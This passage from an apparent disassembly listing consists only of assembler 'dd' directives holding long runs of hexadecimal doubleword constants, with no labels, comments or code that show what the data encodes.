		dd 0DA7D38FCh, 0CD02F680h, 92C94F96h, 2160381Fh, 0AD1C6847h
		dd 0E4418DB0h, 34C01F98h, 0BC11C123h, 0F82419A7h, 92001FF7h
		dd 5C1E72E9h, 0F2B2C54h, 193FBB6h, 0E3DA8660h, 4E739E15h
		dd 0ED30C40Fh, 2834C038h, 1FF067E7h, 0CE734C3Ch, 30001C89h
		dd 2B4794BAh, 99AC7E00h, 0E05BEBDFh, 2A24002Dh,	51C64854h
		dd 2C1FBD36h, 0C009B74h, 0BCA6901Fh, 0D7220105h, 0BBD8DD33h
		dd 0B79FFC36h, 0C9F3FE00h, 0B857DC8Bh, 0B0410007h, 7BAD48E4h
		dd 7801C19Eh, 0E9B48E2Dh, 2ED0F7D1h, 50181861h,	0E594C864h
		dd 0C8C49503h, 0D8B0BDEEh, 1EF78B3h, 0D432AE6Ch, 0EC7C42BEh
		dd 620065CCh, 6E0C3004h, 82D543h, 0AB2FF04Bh, 1BEB635Ah
		dd 0F3513800h, 24F9AEDCh, 0C9FD00EFh, 0F51CB8C8h, 3E3D6E92h
		dd 788925E4h, 0AE931DCBh, 724647BCh, 626C109Bh,	0D5040BDEh
		dd 9301E63Bh, 0B2A2E880h, 32971D99h, 94D43C21h,	0A3EC0058h
		dd 6614ACDh, 9301DF10h,	0F6649C69h, 28E8E157h, 2CF700F1h
		dd 830FC00Eh, 62008874h, 0BA46158Dh, 1CA38Ch, 33C77814h
		dd 76167AF7h, 0E4CF7080h, 0E67AC9h, 38A6E52h, 0FD94646Dh
		dd 410EE80Eh, 124E403Ah, 0DD1060h, 0E94654CAh, 0A317FDBAh
		dd 0CB006D78h, 57F770BCh, 7252C8Dh, 3CFF0E9Dh, 56948043h
		dd 3A009933h, 0EBC1FB9Eh, 9FF2C0h, 7692429h, 0FA9838B5h
		dd 17004B7Fh, 30253931h, 12F42037h, 0A9735Bh, 0FCF5DCB7h
		dd 0D8078E35h, 0C4B33C51h, 777109Ch, 0E059F746h, 396E100Fh
		dd 0D0008FAEh, 0C3EAAFE4h, 2AD717h, 0C84963A0h,	85C2568Ch
		dd 5AFB1400h, 0E35880DEh, 38070077h, 0CEF023AEh, 680F8C2Eh
		dd 0C06CD197h, 267C96B5h, 473300F9h, 36DDEABEh,	25006F67h
		dd 0FA63AFDEh, 0AA7E69h, 7162AE0Fh, 51261301h, 58688F30h
		dd 23CCA5Fh, 8846D3A1h,	0E7806EEEh, 0CB0E2101h,	49FAD81Eh
		dd 6BCD7CC0h, 14F06C85h, 846623F9h, 8D52710Fh, 8C9BFB00h
		dd 22007E9Ch, 948E3876h, 1291F85Ch, 3E98BCh, 470A28B4h
		dd 0FF030B21h, 7F69C1AAh, 32B8B035h, 480E1D3Ch,	78E480B0h
		dd 90875F41h, 9CF23Eh, 3F512B59h, 0ABB547h, 12CF242Eh
		dd 8F55609Ah, 2657E203h, 0E71C6F70h, 59149E20h,	1C4BFC8Ch
		dd 80AA0437h, 23F1F0E6h, 0BF07F280h, 38A315EFh,	57DFDB10h
		dd 7CA50F2Fh, 0F54021CBh, 0CABC806Ch, 99D3400h,	0C40BE0AEh
		dd 40C00C7h, 723CB90Dh,	0E7F28624h, 3106E48h, 36E4EBF8h
		dd 553D90DFh, 2DCD0028h, 0E025336Fh, 4D0E0469h,	0C02A8B7Ah
		dd 0D0AB582Ch, 0D9F118B3h, 0CAEFBC87h, 3FF8F700h, 0AE946E3Dh
		dd 0C680010Eh, 92722BA7h, 3AA84071h, 0D100B827h, 0E0030F14h
		dd 176E8859h, 10FF0D61h, 0F9018C0Eh, 0D3CAAC11h, 3822E0C2h
		dd 73C0E300h, 0E25B9281h, 0D72B09D6h, 90004CB5h, 6A18C472h
		dd 1FB8BF00h, 24D1B955h, 30A7EC9Eh, 98D069C2h, 0E400582Fh
		dd 0CD571175h, 14FB331h, 0A92A5FE8h, 20BDDC6Ah,	257D20F9h
		dd 11475A09h, 0C54487B8h, 9E2E93C0h, 67210065h,	0B6373354h
		dd 0CF48A01h, 90F56900h, 2F8992FBh, 219700A0h, 22EE425Fh
		dd 0CB3E6F25h, 1BC580DAh, 0CE163AD3h, 9E933F9Ah, 196CFA00h
		dd 93EEB29h, 0A0DA8524h, 0F6A41400h, 924880h, 1F293FBCh
		dd 56725E53h, 5C7CEA00h, 0FB238386h, 0CC92006Dh, 9E410C8Ah
		dd 800446Ah, 0AEB11B0Fh, 0E33BA31h, 0F60924A7h,	0A949A40h
		dd 9800AA68h, 44640248h, 797F16Ah, 0A3196276h, 0F485E05Bh
		dd 3A00095Eh, 149BA413h, 0B028A852h, 327845h, 0D1823724h
		dd 4161BAEFh, 0D0906077h, 0A2C13000h, 2BF77E92h, 0E9D304A9h
		dd 8078B1B6h, 8A7BD6EEh, 7EABDE00h, 51FAAE6Bh, 0EE66014Ch
		dd 0A1649ACDh, 0BBADDC40h, 0A94F860Fh, 0D5848001h, 0AFDAE8h
		dd 3DB39717h, 0DDE36606h, 3E2B5000h, 0DEBD56F5h, 0D94E007Ch
		dd 2860E496h, 0B9030A65h, 81F01C85h, 0B10CD871h, 0AF363D63h
		dd 2E4F5002h, 8C03D12h,	0CCFCB36Fh, 0FC3C7118h,	0BFAE42h
		dd 0E81C5D76h, 0B0C797AFh, 2F8F1900h, 0B1A19AD5h, 50B54899h
		dd 0BD46E300h, 31A33934h, 0D4FB6D07h, 0F0C06063h, 2D28C6h
		dd 8CDE1CA0h, 0BB7DA398h, 83D5CC0Ah, 5D00E454h,	6F392FEBh
		dd 73CB3CD0h, 0C9108A89h, 0E041DC07h, 0CCBEBB26h, 0D53AAE07h
		dd 0F7476479h, 20367560h, 815F3809h, 7654A00h, 0E24876AFh
		dd 1D064F00h, 0B0DB8ED1h, 0D41F0F7Ch, 1BCA9B6Dh, 3A0A07D0h
		dd 8392147Eh, 0DBB80E84h, 7300088Eh, 0CBE6B341h, 2CF082D3h
		dd 2CDC983Eh, 7FD2C6Ch,	1004FEABh, 0CEA526F5h, 576F5C00h
		dd 668246D2h, 14A0C09Fh, 0BD0A204h, 0CE889800h,	6CF41C0Eh
		dd 0D29F075Eh, 6087FE96h, 0A3EAF67h, 66788900h,	0FCC50939h
		dd 41C714FFh, 0B200F8D8h, 335C4B24h, 78007067h,	0EF1A2B40h
		dd 7B02DCh, 0C92690Bh, 592DD66Bh, 8926FA00h, 0FE11AD55h
		dd 12B47853h, 44443487h, 807850A4h, 67A60194h, 58B5331Ch
		dd 7A3E7202h, 0A7F44097h, 0A268006Eh, 0D4A835B1h, 0A280678h
		dd 3B00E464h, 8D2B9BC2h, 9FCE175h, 201A5CB8h, 0BD76A400h
		dd 540998FEh, 54DBB70Eh, 0ACBB00AEh, 0B247537Ah, 487858h
		dd 0FE840680h, 1D4BDA0Ch, 0C0E4D998h, 16A08C30h, 3800237Eh
		dd 3FBF81Fh, 853B4Bh, 2927797Fh, 0D8125069h, 0F49A2F00h
		dd 0F3C39BDDh, 1FB907B1h, 0EFBDD4EBh, 0FF41EE45h, 9FAA8D00h
		dd 727F5DFAh, 6BB60096h, 0CF89A214h, 75003CF7h,	74B25301h
		dd 27E58Ah, 4E62A426h, 7E5240AFh, 36ACFA00h, 68644BB4h
		dd 9B7575h, 6AA85E14h, 53B2E69Eh, 0FC016E7Eh, 42991BFDh
		dd 8240054Ch, 881F14h, 0E0AAF0CBh, 98C49A91h, 1710DC01h
		dd 3C7E244h, 0A010E03Eh, 3DD2291Fh, 9237CD00h, 0CF0FCh
		dd 0C88B0D23h, 9C20D347h, 45FB9800h, 3EAA9F4Bh,	42A5001Dh
		dd 0C0906F74h, 0B200E5D5h, 580E6CDBh, 0E43027F2h, 223502AFh
		dd 477A2D56h, 0CFD43CE8h, 9F14E900h, 660C4B18h,	1585248Eh
		dd 0F5730384h, 87A83F17h, 0F300289Eh, 0A0D09107h, 7DAD49F7h
		dd 0A4583D03h, 0C34A8280h, 0B7978EE6h, 76C2F400h, 5BFCD76Ch
		dd 2A2F00E8h, 5A79651Fh
		dd 2000D9CAh, 285CB76Eh, 18A3745Dh, 288326Ch, 0C9FE49A0h
		dd 785AF61Eh, 5C80C09Dh, 421A92A3h, 44BC4C06h, 0DE845B00h
		dd 0F8836690h, 0D5B03FE8h, 0ADDD9A15h, 318C800Ch, 0ED5621h
		dd 2960E85Fh, 69542E25h, 2096100h, 937A909Ch, 128F00C4h
		dd 0AE4BDDE2h, 5E0EDAECh, 205033B1h, 0C88EA6F2h, 0C50A0093h
		dd 193C40CCh, 79002F13h, 4420607h, 24BE35ABh, 0A8432Dh
		dd 0F8A55129h, 610047D2h, 6F3B85AEh, 0B47472h, 45C2211Dh
		dd 34B209A7h, 47AD9817h, 0B564E701h, 0E6DCBB4Eh, 0D6930084h
		dd 44B01594h, 9D1289D3h, 0F609EBE9h, 202D8FF6h,	5E46A5DBh
		dd 0DC570096h, 3F92EE71h, 823AA85Ah, 1BD7893Dh,	0A4280056h
		dd 9EF0E69h, 0AC64B586h, 352ACC80h, 0E300DB62h,	0A80322ABh
		dd 0E89FCE53h, 1EA918C8h, 0B124C865h, 131506Fh,	430CE186h
		dd 0E1860h, 0DD88E246h,	1BF510AFh, 19A98B15h, 80A63D1Ch
		dd 0AF01112Ch, 2E2348D4h, 92193E5h, 9A832DD1h, 8BC0242Bh
		dd 65005C22h, 0DE9F028Ch, 0A8CF6C31h, 743E4FA4h, 0A8B50039h
		dd 0F5269754h, 5C18D18Bh, 9999ABA5h, 0CD79039Dh, 49DB6E2Ch
		dd 0F0233E89h, 0C6F8BFDDh, 0ED323601h, 0AF488177h, 246DB340h
		dd 26780051h, 1E89F70Ah, 3201ED09h, 0D60FA5D4h,	0E07EF676h
		dd 0F707BC25h, 1DE635C5h, 1F12BF90h, 7F757858h,	6D7B071Bh
		dd 7118ECEDh, 0C8C9B52Fh, 5D4A3E0Eh, 7300F016h,	22A6B79Dh
		dd 632B761Bh, 0DC8718D5h, 6FE552B8h, 38A25000h,	0E0DD04Fh
		dd 7BBFF8CEh, 57145C81h, 99A70078h, 471DD46Ch, 2E70242Ah
		dd 0C8D5E200h, 1C2DD3B5h, 0C2C7C9Fh, 92FD722Bh,	8D540450h
		dd 0E4000EA0h, 64BA01DEh, 0EC86E232h, 23A10662h, 18111674h
		dd 3CADF300h, 0D92DC2B7h, 0AE1E0761h, 8F55C5A4h, 6D2E2C3h
		dd 0E1F02800h, 0D3A2C875h, 0E940F26h, 0CF80BD23h, 0A1511A6Ch
		dd 210030E6h, 0F687BB9Eh, 353862h, 4AA2D357h, 18AC55Eh
		dd 0F8AF0518h, 9CA920Ah, 215C02A8h, 15441600h, 0C13C071Ch
		dd 0C0160413h, 0EBF03EB2h, 4D1D024h, 0F1007CB8h, 0ACAB23C1h
		dd 24D27025h, 518B008h,	0C09572A7h, 1882A28Eh, 0B4AF7828h
		dd 0ADA92A09h, 0F5C0A034h, 0CA2BBE8Ah, 0E4058F8h, 0C724D587h
		dd 1C9402Fh, 3813A6Eh, 0A9ABC551h, 11A30E99h, 7C02139h
		dd 1959E76Eh, 0D4AE32C0h, 6349C1Fh, 34CB4C67h, 0D691C00h
		dd 1ECA6D16h, 0BD6607E0h, 9626D7C3h, 6B0198DBh,	885FA6C0h
		dd 4048DFD5h, 446E0803h, 12C40181h, 6E60C24Eh, 8818AF5Eh
		dd 0E809F930h, 245D021Bh, 9D00A26Ch, 0DA68C0A0h, 791C473Ch
		dd 4002BF30h, 24A655F3h, 20C4B81h, 5AD2445Eh, 16A1C99h
		dd 0FC24A732h, 48A00F3h, 9964BB1Ch, 0D9044052h,	49342BBDh
		dd 0D4C03CC9h, 3D1EF81Ah, 2F1879C3h, 2C0408EEh,	0BBE020C0h
		dd 1DD3261Ah, 1DE3CC9h,	411BE3A1h, 911CE531h, 95802D50h
		dd 8B1ED61Ah, 2BFC208Ch, 1ABCF500h, 64F6F480h, 63730059h
		dd 815FA77Ch, 0E0508418h, 28261B8Ch, 0A0091CFFh, 6A409061h
		dd 0BA260F16h, 8CA0B35Dh, 4544C6FFh, 0D3C54F0Ch, 542B380Dh
		dd 0F3AB804h, 0F73285Fh, 31EDA80h, 9F09C878h, 272EADBCh
		dd 6F500A50h, 0CB3A802h, 0EBB1DACFh, 0C921608h,	6F46F100h
		dd 95418EE5h, 0D8A10021h, 52083048h, 189971C1h,	80D4363Ah
		dd 1CD34660h, 0A8826F39h, 11DB231Bh, 31101714h,	18E0DC6Fh
		dd 0E97566AFh, 6101595Fh, 7F58BB7Ch, 41E87628h,	0B3B439A9h
		dd 1A25978Fh, 6CA40768h, 29B07700h, 14D6D004h, 0F40ED986h
		dd 2B43F2E8h, 0B23C1B0Fh, 0F9B66A41h, 901C20B9h, 4015F426h
		dd 32315201h, 0A980D862h, 8C6CCC44h, 8B0DB3F4h,	8255702h
		dd 8E00BC32h, 97C96CD4h, 0E005BB5h, 575CFD61h, 4B8A6D1h
		dd 469594B9h, 2E608003h, 0D0C2047h, 417461ABh, 0D9DE1708h
		dd 369D0F6Ch, 5B77E340h, 6E26BBC2h, 6400CCC4h, 0A9CE0A07h
		dd 212F622h, 6324A204h,	0FC8EA7B0h, 0DE28B874h,	2D246CCh
		dd 0A8406F44h, 110F4243h, 0EF1113CCh, 41D7003Ch, 72F30E4Eh
		dd 6420BC2Ah, 8675AD37h, 0C688C255h, 116CCB30h,	88ABF48Bh
		dd 0D3918168h, 0CC586B6Ch, 0CC909D06h, 5A14FEF8h, 4D4B6DCh
		dd 0A6A172A9h, 4E432C80h, 0C89D61E8h, 2145F423h, 19C40366h
		dd 9AF6D388h, 83BC4258h, 0F8C4A3C6h, 674804Eh, 0F2BEB6CAh
		dd 4188023h, 6829AA49h,	821D00B1h, 0CE7A50D3h, 1406751Ch
		dd 7263E056h, 0B1870FA9h, 20E008F4h, 0C9EF4BA9h, 0CA47400Fh
		dd 0BC2E82D0h, 3A94A11Bh, 99D4788Fh, 83FB008Ch,	1D9B3E54h
		dd 3601D6DCh, 0AACAAC7Eh, 0B057A804h, 23474170h, 0BA4501E1h
		dd 0D1E61A2Bh, 6608949Dh, 35F380FCh, 4CB51F6Ah,	30003684h
		dd 0D02FA552h, 0F83A3D80h, 8A37819Dh, 0E59E8DDAh, 5581A447h
		dd 9047FDB7h, 49522AE0h, 61A4A2DEh, 9D18E114h, 812E6E08h
		dd 4B34C431h, 2F5E80ECh, 76C037h, 9AFAC6F0h, 4A38A22h
		dd 12E428A5h, 5F482360h, 0A94834EFh, 0D060C9FAh, 0C7A72EA0h
		dd 50BF499Fh, 56F2D80h,	448C3BA8h, 4500F00Dh, 0A3A1E06Fh
		dd 0B6D8F50h, 7A96D66Ch, 0FFC8188Eh, 3B465028h,	9508CD3Fh
		dd 6BC4BBF4h, 6CD59B43h, 91B136E0h, 75948C04h, 7C83CDA6h
		dd 861EB335h, 1B240458h, 3D71822h, 0C1A21DA7h, 0D08273C2h
		dd 3F3153C6h, 0E3813C92h, 33DBF4D1h, 0E1978314h, 0B6BBB86Ch
		dd 71A8004Eh, 0AEDDB1Ah, 730B5C6Ah, 20C7CB1Eh, 0FE0FA084h
		dd 0BF1D1818h, 3137542Bh, 8970A600h, 0E4660176h, 0EFD90503h
		dd 4026D4BCh, 7A61B098h, 4B007DECh, 517F82AEh, 0ABA6021Ch
		dd 0E44588ACh, 0C17D0963h, 3A0E86FBh, 3C897138h, 4737D701h
		dd 0A4A3A8DCh, 35BEF050h, 74745D48h, 0DE003C39h, 3347FD90h
		dd 0AB484072h, 0D22D1354h, 0A03EA80Bh, 0FA3099FCh, 7E8B911h
		dd 0C0AE71D6h, 2B9B4020h, 0F221BF0Eh, 844756DEh, 0E2827858h
		dd 64E5E0B2h, 79B8B1BEh, 0FA18EDh, 57C82312h, 39B4E5CCh
		dd 4E752C05h, 0E8225664h, 11702A26h, 6E2E80DAh,	43998147h
		dd 26D5100Eh, 6E25E900h, 5E55183h, 420F0B75h, 80F87ACEh
		dd 0CFCD6CB0h, 0D1DC128Ch, 47808C0Fh, 70FB8890h, 0C403C2F8h
		dd 577925C5h, 0EA5900BBh, 0DF39B9E6h, 0A80019F4h, 5F1E50DBh
		dd 9BBE441h, 723C8A3Fh,	0B0033D83h, 0D1BCCFF8h,	0D4A7E90Ah
		dd 880FC1Eh, 3C6FE87Fh,	9D1A0063h, 0F3164A19h, 2002843Bh
		dd 0E2BA6241h, 16C05126h, 739C2FBEh, 3E4908Ch, 9C6B1B7Ch
		dd 80A77687h, 67C566E3h, 2820454Bh, 2C0BF384h, 11D06124h
		dd 1A8980A1h, 0A7AB1ECAh, 0D0E100E4h, 0B253941Ah, 625F000h
		dd 22A6F572h, 0BCDA485Ah, 0E4BAA439h, 0B449304Ch, 854AB2Eh
		dd 8C15D0A9h, 0E0948FC0h, 7D47ECC0h, 87BB3909h,	972FF313h
		dd 0C922F018h, 53F27176h, 427974B1h, 0B303AC18h, 43C0E4EFh
		dd 8630E1E5h, 42D5160h,	0D4E66AF5h, 0C878B0BCh,	8458F84Ch
		dd 0D23163F0h, 23F4C86Ch, 0E480448Ch, 0F66CD800h, 20B8FA18h
		dd 4B6F6A6h, 8692F051h,	397CA0E6h, 0FBE36AF0h, 0FCC81012h
		dd 139F2C80h, 4BD803B6h, 5CF67A6Bh, 5018679Fh, 59353D1Fh
		dd 251A843Bh, 0B228222Dh, 65B061D8h, 74480073h,	7F8CDEB8h
		dd 36EC00F9h, 0F60C0370h, 651F5573h, 293161A7h,	60201A24h
		dd 1D09DEAFh, 9ABC807Ah, 89F21E18h, 0B0391600h,	26E8D1C7h
		dd 0D8DE5837h, 84C06848h, 0A4F70C5Fh, 3D6A9F02h, 90BE5279h
		dd 4B33F2A4h, 23602F47h
		dd 0CE90013h, 0FBD74187h, 67685400h, 0A4A62FBAh, 11C9EF7h
		dd 0E8F0EADEh, 0B8D02CE1h, 2643CAh, 0D52944ADh,	35210930h
		dd 0CBA85759h, 0C012C8ACh, 99EE843Eh, 2F762A1Ch, 1E0DEF87h
		dd 64901265h, 0B2D694D9h, 8CFCA370h, 0CC1A8B60h, 969B1E25h
		dd 0D2EB0064h, 9160D11Ah, 0C90267FEh, 95186226h, 4548500Ch
		dd 2CB6D9CBh, 6D8709BCh, 75244866h, 880A6F16h, 98C46529h
		dd 42372C74h, 0D2800805h, 1FD00F3Bh, 0C09F03B0h, 9658E72Eh
		dd 2401686Ah, 74755A47h, 4189A1AEh, 6CE380A9h, 31E139C1h
		dd 0C44EA04h, 299E4230h, 2D1220h, 0DBE2871Ch, 49309B78h
		dd 0F0D65Ch, 6766DE04h,	73CD19Fh, 756B2FD2h, 0C8D0647Bh
		dd 77004284h, 9F474955h, 96A2EC60h, 0BD3560B4h,	0E89154C4h
		dd 0A2184379h, 344D9A01h, 0FD85BEBFh, 3A78E1FCh, 0B5049861h
		dd 84D4AD2Ah, 0A248A3C0h, 0EFB30DEh, 3AB0A30Ch,	3BD719CEh
		dd 0BA2A5A75h, 0E5620CCh, 0BD76340Eh, 0C4CC4963h, 71D4B120h
		dd 1FC31817h, 18552BAh,	26B392C4h, 0C002D94h, 89D93AA9h
		dd 393CECA4h, 14CEFF45h, 5B00E428h, 88EF9312h, 31FEE125h
		dd 29EE550Bh, 0B07885A6h, 412E204Fh, 939DF869h,	3BB8F439h
		dd 0E2404700h, 0F61DCC8Eh, 8BEA2E83h, 0D3D603B4h, 99E17BFDh
		dd 88A9E27Ch, 0ABC0AC4Dh, 45527Ah, 0E02C6E5Bh, 90A0B412h
		dd 5CC2049h, 132A9D6Fh,	0D43998D3h, 0A8E764A2h,	6CFB6C0h
		dd 8A730EACh, 50189E9Dh, 43491E1Dh, 944F0920h, 6100A1B2h
		dd 19A769ADh, 74305CAAh, 0BA00E146h, 2B114591h,	0FF74AB57h
		dd 9DAE6912h, 0E08E6085h, 7C0F888h, 260E23ABh, 13884065h
		dd 37AC61D3h, 0A181F06Eh, 23FD208Ch, 1E0C65Ch, 21E8C160h
		dd 602CE1FFh, 2343FDB8h, 4DB90201h, 2C9F9A8Ch, 0DDAD15B8h
		dd 0A8040298h, 0E8435572h, 0A802D434h, 315AA9F8h, 0E9186595h
		dd 0F7083253h, 0BC81C0A8h, 38019EE9h, 0FE9FF95Ch, 8530535Ah
		dd 0E6482A24h, 78BE4994h, 0D40164B8h, 6B756097h, 0F4EC0870h
		dd 63A30055h, 0A99C2D56h, 0D66EFD52h, 0A17DCEC0h, 28E182B0h
		dd 0AA3EB823h, 8518FB33h, 8C4FB904h, 3883123Eh,	21DDE2CDh
		dd 9CC5AF69h, 0C02A57B1h, 378C8B00h, 7C09AB0Dh,	0E510E66h
		dd 2181BF3Ch, 0E896D571h, 55317AA6h, 958A8845h,	14BC6468h
		dd 0EF49008Ch, 0B85F3A98h, 0CE0B09FBh, 24CA5AAFh, 54812954h
		dd 1D002F19h, 737C26FCh, 2848A45Ah, 1AD7C227h, 287B88E1h
		dd 0BEEFB08Ch, 0CF00F1Ah, 0D280B5F3h, 7B5A55E5h, 115B2F16h
		dd 642D881h, 0C4D0C850h, 90413D08h, 50E95F80h, 6FD41EECh
		dd 0CC4B7900h, 0D659332Fh, 242A2D61h, 8500E437h, 0FBABFE3Dh
		dd 8D0B0136h, 0D84D847Dh, 75422070h, 4028DA26h,	4EDD003Bh
		dd 0CB84D96Bh, 0A1251ED6h, 2A843BB0h, 0F312C652h, 26D7B104h
		dd 0E026BA0Ch, 2F015E4Fh, 0C53E0CD8h, 621D2180h, 318DC2CCh
		dd 0FC01ADE4h, 4C7E6DA2h, 0D5429425h, 566060AEh, 1749E2Fh
		dd 0ADB06A75h, 5CDC28F7h, 8CE1BCA0h, 4173AD01h,	66FFBB36h
		dd 1E30F3D0h, 93215920h, 23F02FC7h, 0EA40016h, 0FF4E534Bh
		dd 7618350Eh, 14DF8284h, 44B46C30h, 523C57D7h, 0B605123Ch
		dd 0C40FC00Ah, 59BAAF8Dh, 15F20072h, 0D661730h,	26307E1Eh
		dd 0B5C04150h, 521D002Eh, 36952470h, 0AECF80D4h, 0F80E9A86h
		dd 61B04709h, 0B91052D6h, 18117194h, 777C00EAh,	721F0F5Ah
		dd 0CC58826Dh, 0D9570C34h, 4E32822h, 6BDB685Ch,	1100A2AFh
		dd 64802F20h, 0DCAC2841h, 0AA81CF24h, 408C0738h, 95D0BDCAh
		dd 79F52CF0h, 66BA0258h, 49709604h, 0A967F8E6h,	0ACA0D7F1h
		dd 9E5D51h, 0B1BEF285h,	10054602h, 4456F005h, 1840DC47h
		dd 0A788C3CBh, 271A006Dh, 898C21BEh, 921597B3h,	7B428ADh
		dd 71F9DE06h, 85689EA1h, 9D841C8h, 8B2DB0C0h, 50F53C10h
		dd 5ABB470Ch, 16A9E963h, 95677222h, 0C0AC9BD0h,	0BB8B143Dh
		dd 0E5770126h, 466C4E23h, 4DB43D28h, 2C3A4BF4h,	9E004523h
		dd 12060734h, 0B8960509h, 0C264F2E0h, 9C785054h, 34090098h
		dd 0A0154F47h, 8D72A768h, 0B9D8C974h, 0A6003051h, 695B9840h
		dd 9CBD07A9h, 0D0B9CC4Ch, 0B023EB9Dh, 81758E13h, 4404B412h
		dd 94E40CBEh, 0BA042236h, 78D1796Ch, 5D26CBB7h,	2B1BC4A2h
		dd 45F9C7Ah, 0BF982440h, 0CC0DACDh, 8D9ACB46h, 0BC60ADE2h
		dd 56E44F49h, 64B906FAh, 39666230h, 3A7095EEh, 75BE5Ch
		dd 0C5582087h, 772831h,	0B7F88059h, 0D50ABA44h,	97882F25h
		dd 241608F4h, 0DB89F160h, 66901836h, 8E8D796Dh,	13077300h
		dd 0C4DCC033h, 25DFE40h, 8141E61h, 3040D86Ah, 2E00B06Dh
		dd 0A46B76D4h, 2594268Eh, 0E4A4D552h, 1AD2602Ah, 0D31E27D7h
		dd 0F607AC96h, 455B1AB9h, 0C7D72240h, 0A78204D3h, 0C21C475Dh
		dd 4030D680h, 4D78B86Fh, 1E883C23h, 6F3880BDh, 3D52A815h
		dd 6C8B9568h, 7FE4F8EDh, 0FB57006Bh, 949945A3h,	0F6D0001Ch
		dd 9A7F6AC1h, 510EE0E9h, 0C0AE4919h, 0D18346C3h, 0B6F507BCh
		dd 0B0E5C597h, 7FDB1E38h, 149BE206h, 0F6387BAFh, 0A7EE009Fh
		dd 4EF011Ch, 273AF8C4h,	9B901807h, 1F6BA20h, 0C15AD6A7h
		dd 6037134Ah, 0A16042CFh, 543C9158h, 45A2000Eh,	0E138E0A4h
		dd 30A4129Bh, 26A7F802h, 19077F01h, 0E0841091h,	0E3D20FA7h
		dd 0FC803355h, 3DEC1869h, 58D1F831h, 57E042EDh,	49A8031Eh
		dd 0C4C0FB78h, 0D058F900h, 0CCEA11A6h, 47E41987h, 0BD700884h
		dd 0A6C80021h, 24210D5Dh, 0C5EB0001h, 45AEBF42h, 0DD07ABE1h
		dd 1AB64E52h, 947110E0h, 0FC901959h, 4E3841FAh,	7CEB1C04h
		dd 0F0C72E40h, 3BE133B4h, 0F6BE4448h, 0ED567D07h, 0EC4B8089h
		dd 331C5B9Bh, 0C7475F84h, 878917CDh, 2F504E4Ch,	49F0EAh
		dd 5EFA7823h, 0E773D4C7h, 1B0969C0h, 361F83Bh, 6967E44Bh
		dd 0D5A39B83h, 7E22210Eh, 0ECDC273Bh, 5D0F8C90h, 264A02E9h
		dd 0A3C3D44h, 0B29AA080h, 0D818FA6Ah, 0E9E070E5h, 2B911854h
		dd 0F1D33816h, 7E50C361h, 0C9F8DD4Eh, 0B80C3BCEh, 90A41280h
		dd 0E3D3B4E8h, 4506670Ch, 7A7F2022h, 27285816h,	0C1842043h
		dd 0F81B6308h, 7EE04B68h, 28396043h, 6421D778h,	904698CCh
		dd 33EB067Dh, 0E8E86660h, 44C3A00h, 637C1CDDh, 0CE24FE7Bh
		dd 20B82008h, 4091427h,	990766h, 0B7AB6A14h, 21101906h
		dd 20135869h, 48CF71Ch,	0EA4DA6DCh, 205962ECh, 78A6D483h
		dd 5F6DC3Dh, 0D718D363h, 9C359804h, 40F84C90h, 0CB2C00FEh
		dd 95032E39h, 7F909366h, 0EC80D412h, 449E9400h,	10C5E5C4h
		dd 0D20435h, 0D10269F0h, 3F4F9D07h, 0CE800DD9h,	5E39223Dh
		dd 0AFE29946h, 1908F49h, 1D6506DFh, 8E615268h, 853E30h
		dd 7CC54AFBh, 0EDDF92Dh, 7DD14E0Fh, 0E17865E7h,	0A6DE7420h
		dd 0FCEA234Bh, 8D007311h, 0C76EA6D6h, 0C2026CFFh, 4110A131h
		dd 489C8089h, 7F9B2Fh, 1F26C6D8h, 86444298h, 6EE4CD09h
		dd 0C8580464h, 0EC3B3067h, 448C2B61h, 3200260Ch, 8CEE0F3Bh
		dd 0BAEB6h, 40A1E859h, 66B06C9Fh, 0F9C7CA7Dh, 9AE0F025h
		dd 0F605E7BEh, 395A00A7h, 467F8FAh, 0ED0495D4h,	8D3E686Dh
		dd 0D802AC81h, 0B8895BD5h, 7484B7E8h, 0A7E36019h, 2701107Fh
		dd 8093C807h, 14A62BBFh, 0AE007251h, 35E46BCCh,	0B0DE2611h
		dd 0C10905Dh, 90A57C59h, 7CA4CA70h, 0EE3B1904h,	0F621B61h
		dd 3B342420h, 0C8EB0039h, 0B41DB2D9h, 30091EDBh, 0E6543CFh
		dd 55100674h, 7643961h
		dd 0DA891CBEh, 0B4807033h, 0C1FCCC3Fh, 0A3450C6h, 11046E0h
		dd 118A7FAh, 970C040Fh,	0E28688h, 858BB8A7h, 6A614F32h
		dd 5CEEB092h, 0A2935F01h, 0E711DA44h, 1C192DF4h, 5865E31h
		dd 0A7555B8h, 5EF85FACh, 4700D246h, 0D8A1456Fh,	48C074B1h
		dd 9DC14EA3h, 0BACE24C7h, 60A906D8h, 0F8729167h, 1D1C2001h
		dd 91613799h, 2BEBC34h,	8E3B0174h, 6449EC2Dh, 0A0A1C275h
		dd 0F0DF1C7Fh, 9F246978h, 0EA8F70C2h, 1847934Ch, 815736CCh
		dd 8DCA1371h, 5B918C50h, 0A8100067h, 0A2278F50h, 2401ED48h
		dd 979D1CAAh, 0E027C5AFh, 831A6B3Eh, 2860188Ch,	5B80B144h
		dd 9947339Ch, 0D8244831h, 55041CD0h, 0D648598Bh, 0FA3B25C0h
		dd 22BB4661h, 302000D4h, 4F9C273Bh, 0C6146865h,	0BCFCE1CEh
		dd 0C248C94h, 960C2835h, 742EA09Dh, 35E26F9h, 1214C494h
		dd 0BE23202Eh, 1E437103h, 1CB9E673h, 80288F91h,	0F1C82513h
		dd 6C2A57ABh, 1D3FC41Eh, 6ACA86E8h, 30495A67h, 0D7B18BA0h
		dd 91008A15h, 4EA6094Ch, 2449FFh, 427E7A9h, 0A28BDACCh
		dd 548F1A00h, 0D49C0515h, 0DF3106ABh, 0A1EA10EDh, 0E3911313h
		dd 0C0D55008h, 61F93B26h, 23835343h, 8BE23B7Dh,	742BDDE0h
		dd 54769D01h, 2119DEEAh, 0B9E15860h, 189179A0h,	837E03BFh
		dd 877923D0h, 100DB4B0h, 28B94926h, 664CF44h, 0A061F3FCh
		dd 10D05489h, 73B3729h,	0C118790Dh, 2D130136h, 7EA08D34h
		dd 30DAF87Bh, 0ED113B1Ah, 0EE883361h, 3B312780h, 2B0932Bh
		dd 3D589651h, 0E8C39403h, 60D491ECh, 0D4B42463h, 64D5CA00h
		dd 0A60F7A2Ch, 2A6512D1h, 312C0082h, 2FA1C28Fh,	7AF506C1h
		dd 8C649903h, 1617018Ch, 0E2F29AD9h, 0C7308296h, 40043014h
		dd 7E651FACh, 48789822h, 0F88008AFh, 0DC5192EDh, 1DCD0C00h
		dd 8CE19AB0h, 18890BCh,	0ACBD1A3Dh, 0C4544838h,	58CE8882h
